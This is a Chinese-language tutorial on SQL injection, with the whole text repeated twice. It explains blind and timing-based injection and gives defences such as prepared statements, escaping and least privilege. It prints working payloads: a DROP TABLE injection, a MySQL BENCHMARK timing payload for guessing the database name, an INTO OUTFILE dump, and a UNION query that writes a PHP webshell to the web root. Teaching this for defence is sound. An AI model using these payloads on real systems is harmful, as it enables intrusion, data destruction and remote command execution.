注入攻击
注入攻击是web安全领域中最常见的一种攻击方式。注入攻击的本质就是把用户输入的数据当作代码执行,主要的两个关键条件:第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。在注入中,常见的就是SQL,下面我们来看看SQL注入的一些方法、技巧以及防御。
SQL注入
请看一个典型的SQL注入例子:
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where
ShipCity = '" + ShipCity + "'";
这里的变量"Shipcity"值是由用户提交,如果是一个正常值如"Beijing",那么SQL语句执行查找:
SELECT * FROM OrdersTable WHERE Shipcity = 'Beijing'
但是如果用户输入的是一段SQL语句:Beijing';drop table OrdersTable--,那么SQl语句就会被执行:
SELECT * FROM OrdersTable WHERE Shipcity ='Beijing';drop table OrdersTable--'
这就是说SQL在执行完查找后,再执行drop表的操作,而这个操作是用户构造的恶意攻击。对比一下上述所说的注入关键条件:1用户能够控制数据输入的变量"Shipcity",2原本要执行的代码,拼接了用户输入。也正是这个拼接导致数据库执行了SQL语句。
在SQL注入过程中,有的站点WEb服务器开启了错误回显,如攻击者在输入中插入一个单引号,服务器返回错误信息如:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
这将会给攻击者提供很大的便利。从回显信息中知道服务器用的是Access作为数据库,那么攻击者就知道相应的查询语句:select xxx from table_X where id = $id。有的错误回显信息还带有敏感信息,那对攻击者来说构造一个SQL注入就更加得心应手了。但是在时间环境中,web服务器关闭了错误回显,对于这种情况,攻击者们研究出了“盲注”技巧。
SQL注入之盲注
所谓盲注就是指攻击者在没有错误回显信息情况下,通过构造条件语句试探该语句是否得以执行,从而完成的一种攻击方式。常见的就是 and 1=1 and 1=2的条件语句:在地址栏输入http://test.com/items.php?id=1时,将会在数据库执行SQL语句SELECT title,description,body FROM items WHERE ID =1。当攻击者构造and 1=1、and 1=2语句时,SQL语句会根据and条件判断命题真假来返回响应值,攻击者就可根据响应值的不同判断是否存在注入,这就是盲注的工作原理。
Timing Attack
首先看看边信道攻击:信道外的信息与信道内的信息存在某种联系,通过观测信道外的信息推断出信道内的隐含信息。时序攻击(Timing Attack)就是在边信道攻击思想上,去观测时间与隐含信息直接的某种联系。Timing Attack是盲注的一种高级技巧,下面我们来简单的看看:
在MYSQL中,有一个函数BENCHMARK()函数,主要用于测试函数的性能。它有两个参数BENCHMARK(count,expr),执行后结果是将表达式expr执行count次。如果让一个函数被执行若干次,使得返回时间计较长,通过对比时间长短变化即可判断注入语句是否执行成功,这种边信道攻击在盲注中被称为Timing Attack。下面附上一些Timing Attack攻击代码:
1170 UNION SELECT IF(SUBSTRING(current,1,1) =
CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by
5 seconds')),null) FROM (Select Database()
as current) as tbl;
这段payload是判断库名的第一个字母是否为CKAR(119),如果为真则代码执行时间较长,如果为假则很快执行完毕。攻击者遍历所有字母,即可知道数据库名字。再通过下列函数获取更多有用信息:
database() - the name of the database
currently connected to.
system_user() - the system user for the
database.
current_user() - the current user who is
logged in to the database.
last_insert_id() - the transaction ID of the
last insert operation on the database.
如果当前数据库用户(current_user)具有写权限,那么攻击者可将信息写入web目录中:
1170 Union All SELECT table_name,
table_type, engine FROM
information_schema.tables WHERE
table_schema = 'mysql’ ORDER BY table_name
DESC INTO OUTFILE
'/path/location/on/server/www/schema.txt'
或者通过DUMP文件的方法写入一个webshell:
1170 UNION SELECT "<?
system($_REQUEST['cmd']); ?>",2,3,4 INTO
OUTFILE
"/var/www/html/temp/c.php" --
正确的防御SQL注入
SQL注入的防御办法:找到所有的SQL注入漏洞并修复它们。主要从以下几点入手
1,使用预编译语句
一般说来,防御SQL注入的最佳方式就是使用预编译语句绑定变量。如在java中使用预编译的SQL语句:
String custname =
request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
上述代码变量用"?"表示,攻击者无法改变SQL的结构,即是插入lee'or '1'='1的字符,也只会被当做username来查询。下面再看看在PHP中绑定变量的实例:
$query = "INSERT INTO myCity (Name,
CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss", $val1, $val2,
$val3);
$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
2,使用存储过程
除了使用预编译语句外,还可以使用安全的存储过程防御SQL注入。与预编译语句不同的是需要将SQL语句定义在数据库中,但这种情况下也可能会存在注入问题,应该尽量避免在存储过程中使用动态SQL语句,如果必须使用,则应该严格过滤输入或者使用编码函数来处理用户输入数据。下例为java中调用存储过程,sp_getAccountBalance是预先在数据库中定义的
String custname =
request.getParameter("customerName"); //
This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call
sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}
3,检查数据类型
检查数据类型在很大程度上也可防御SQL注入,如下限制输入数据类型只能为integer:
<?php
settype($offset, 'integer');
$query = "SELECT id, name FROM products
ORDER BY name LIMIT 20 OFFSET $offset;";
// please note %d in the format string,
using %s would be meaningless
$query = sprintf("SELECT id, name FROM
products ORDER BY name LIMIT 20 OFFSET
%d;",
$offset);
?>
检查数据类型必须要求用户输入严格按照其格式,如果需要用户输入是字符串则按照其他方式防御
4,使用安全函数
如在MYSQL中:
NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with
ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric
character.
使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函数:
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM
user_data WHERE user_name = '" +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("userID")) + "' and
user_password = '"
+
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("pwd")) +"'";
从数据库的角度来说,应该按照最小权限原则来防御SQL注入。。。。
注入攻击是web安全领域中最常见的一种攻击方式。注入攻击的本质就是把用户输入的数据当作代码执行,主要的两个关键条件:第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。在注入中,常见的就是SQL,下面我们来看看SQL注入的一些方法、技巧以及防御。
SQL注入
请看一个典型的SQL注入例子:
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where
ShipCity = '" + ShipCity + "'";
这里的变量"Shipcity"值是由用户提交,如果是一个正常值如"Beijing",那么SQL语句执行查找:
SELECT * FROM OrdersTable WHERE Shipcity = 'Beijing'
但是如果用户输入的是一段SQL语句:Beijing';drop table OrdersTable--,那么SQl语句就会被执行:
SELECT * FROM OrdersTable WHERE Shipcity ='Beijing';drop table OrdersTable--'
这就是说SQL在执行完查找后,再执行drop表的操作,而这个操作是用户构造的恶意攻击。对比一下上述所说的注入关键条件:1用户能够控制数据输入的变量"Shipcity",2原本要执行的代码,拼接了用户输入。也正是这个拼接导致数据库执行了SQL语句。
在SQL注入过程中,有的站点WEb服务器开启了错误回显,如攻击者在输入中插入一个单引号,服务器返回错误信息如:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
这将会给攻击者提供很大的便利。从回显信息中知道服务器用的是Access作为数据库,那么攻击者就知道相应的查询语句:select xxx from table_X where id = $id。有的错误回显信息还带有敏感信息,那对攻击者来说构造一个SQL注入就更加得心应手了。但是在时间环境中,web服务器关闭了错误回显,对于这种情况,攻击者们研究出了“盲注”技巧。
SQL注入之盲注
所谓盲注就是指攻击者在没有错误回显信息情况下,通过构造条件语句试探该语句是否得以执行,从而完成的一种攻击方式。常见的就是 and 1=1 and 1=2的条件语句:在地址栏输入http://test.com/items.php?id=1时,将会在数据库执行SQL语句SELECT title,description,body FROM items WHERE ID =1。当攻击者构造and 1=1、and 1=2语句时,SQL语句会根据and条件判断命题真假来返回响应值,攻击者就可根据响应值的不同判断是否存在注入,这就是盲注的工作原理。
Timing Attack
首先看看边信道攻击:信道外的信息与信道内的信息存在某种联系,通过观测信道外的信息推断出信道内的隐含信息。时序攻击(Timing Attack)就是在边信道攻击思想上,去观测时间与隐含信息直接的某种联系。Timing Attack是盲注的一种高级技巧,下面我们来简单的看看:
在MYSQL中,有一个函数BENCHMARK()函数,主要用于测试函数的性能。它有两个参数BENCHMARK(count,expr),执行后结果是将表达式expr执行count次。如果让一个函数被执行若干次,使得返回时间计较长,通过对比时间长短变化即可判断注入语句是否执行成功,这种边信道攻击在盲注中被称为Timing Attack。下面附上一些Timing Attack攻击代码:
1170 UNION SELECT IF(SUBSTRING(current,1,1) =
CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by
5 seconds')),null) FROM (Select Database()
as current) as tbl;
这段payload是判断库名的第一个字母是否为CKAR(119),如果为真则代码执行时间较长,如果为假则很快执行完毕。攻击者遍历所有字母,即可知道数据库名字。再通过下列函数获取更多有用信息:
database() - the name of the database
currently connected to.
system_user() - the system user for the
database.
current_user() - the current user who is
logged in to the database.
last_insert_id() - the transaction ID of the
last insert operation on the database.
如果当前数据库用户(current_user)具有写权限,那么攻击者可将信息写入web目录中:
1170 Union All SELECT table_name,
table_type, engine FROM
information_schema.tables WHERE
table_schema = 'mysql’ ORDER BY table_name
DESC INTO OUTFILE
'/path/location/on/server/www/schema.txt'
或者通过DUMP文件的方法写入一个webshell:
1170 UNION SELECT "<?
system($_REQUEST['cmd']); ?>",2,3,4 INTO
OUTFILE
"/var/www/html/temp/c.php" --
正确的防御SQL注入
SQL注入的防御办法:找到所有的SQL注入漏洞并修复它们。主要从以下几点入手
1,使用预编译语句
一般说来,防御SQL注入的最佳方式就是使用预编译语句绑定变量。如在java中使用预编译的SQL语句:
String custname =
request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
上述代码变量用"?"表示,攻击者无法改变SQL的结构,即是插入lee'or '1'='1的字符,也只会被当做username来查询。下面再看看在PHP中绑定变量的实例:
$query = "INSERT INTO myCity (Name,
CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss", $val1, $val2,
$val3);
$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
2,使用存储过程
除了使用预编译语句外,还可以使用安全的存储过程防御SQL注入。与预编译语句不同的是需要将SQL语句定义在数据库中,但这种情况下也可能会存在注入问题,应该尽量避免在存储过程中使用动态SQL语句,如果必须使用,则应该严格过滤输入或者使用编码函数来处理用户输入数据。下例为java中调用存储过程,sp_getAccountBalance是预先在数据库中定义的
String custname =
request.getParameter("customerName"); //
This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call
sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}
3,检查数据类型
检查数据类型在很大程度上也可防御SQL注入,如下限制输入数据类型只能为integer:
<?php
settype($offset, 'integer');
$query = "SELECT id, name FROM products
ORDER BY name LIMIT 20 OFFSET $offset;";
// please note %d in the format string,
using %s would be meaningless
$query = sprintf("SELECT id, name FROM
products ORDER BY name LIMIT 20 OFFSET
%d;",
$offset);
?>
检查数据类型必须要求用户输入严格按照其格式,如果需要用户输入是字符串则按照其他方式防御
4,使用安全函数
如在MYSQL中:
NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with
ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric
character.
使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函数:
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM
user_data WHERE user_name = '" +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("userID")) + "' and
user_password = '"
+
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("pwd")) +"'";
从数据库的角度来说,应该按照最小权限原则来防御SQL注入。。。。